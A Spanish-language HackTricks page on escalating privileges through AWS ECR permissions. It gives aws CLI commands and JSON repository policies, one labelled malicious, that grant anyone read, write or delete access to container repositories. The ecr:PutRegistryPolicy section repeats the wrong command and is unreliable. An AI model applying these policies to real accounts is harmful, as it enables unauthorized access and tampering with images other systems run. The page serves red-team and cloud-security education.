AWS - ECR Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Un atacante con los permisos ecr:GetAuthorizationToken y ecr:BatchGetImage puede iniciar sesión en ECR y descargar imágenes.

Para obtener más información sobre cómo descargar imágenes:

pageAWS - ECR Post Exploitation

Impacto potencial: Escalada de privilegios indirecta al interceptar información sensible en el tráfico.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Un atacante con todos esos permisos puede iniciar sesión en ECR y cargar imágenes. Esto puede ser útil para escalar privilegios a otros entornos donde se utilizan esas imágenes.

Para aprender cómo cargar una nueva imagen/actualizar una, verifica:

pageAWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Similar a la sección anterior, pero para repositorios públicos.

ecr:SetRepositoryPolicy

Un atacante con este permiso podría cambiar la política del repositorio para otorgarse a sí mismo (o incluso a todos) acceso de lectura/escritura. Por ejemplo, en este ejemplo se otorga acceso de lectura a todos.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Contenido de my-policy.json:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Al igual que la sección anterior, pero para repositorios públicos. Un atacante puede modificar la política del repositorio de un repositorio público de ECR para otorgar acceso público no autorizado o para escalar sus privilegios.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impacto potencial: Acceso público no autorizado al repositorio público de ECR, permitiendo a cualquier usuario subir, descargar o borrar imágenes.

ecr:PutRegistryPolicy

Un atacante con este permiso podría cambiar la política del registro para otorgarse a sí mismo, a su cuenta (o incluso a todos) acceso de lectura/escritura.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización